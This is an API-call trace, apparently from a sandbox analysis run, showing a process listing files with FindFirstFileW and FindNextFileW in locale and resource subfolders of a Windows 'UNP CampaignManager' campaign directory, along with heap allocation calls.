	[0156.080] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.080] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.080] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.080] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.080] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.081] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1
	[0156.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.081] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO") returned 100
	[0156.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0156.083] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.083] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.083] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.084] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.084] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.084] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.084] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0156.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.085] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0156.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.085] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL") returned 100
	[0156.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.088] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.088] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.088] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.088] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.088] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.088] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.088] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.089] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0156.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.089] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR") returned 100
	[0156.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.092] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.092] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9e86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.092] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.092] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.092] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.092] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.092] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.093] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0156.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.093] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT") returned 100
	[0156.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0156.095] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.095] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa089, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.095] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.096] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.096] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.096] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.096] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0156.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.099] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1
	[0156.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.100] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources") returned 104
	[0156.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.101] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x6f0d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="20170517_Lock_200.gif", cAlternateFileName="201705~1.GIF")) returned 1
	[0156.102] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x4b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Back_0000_Hover.png", cAlternateFileName="BACK_0~1.PNG")) returned 1
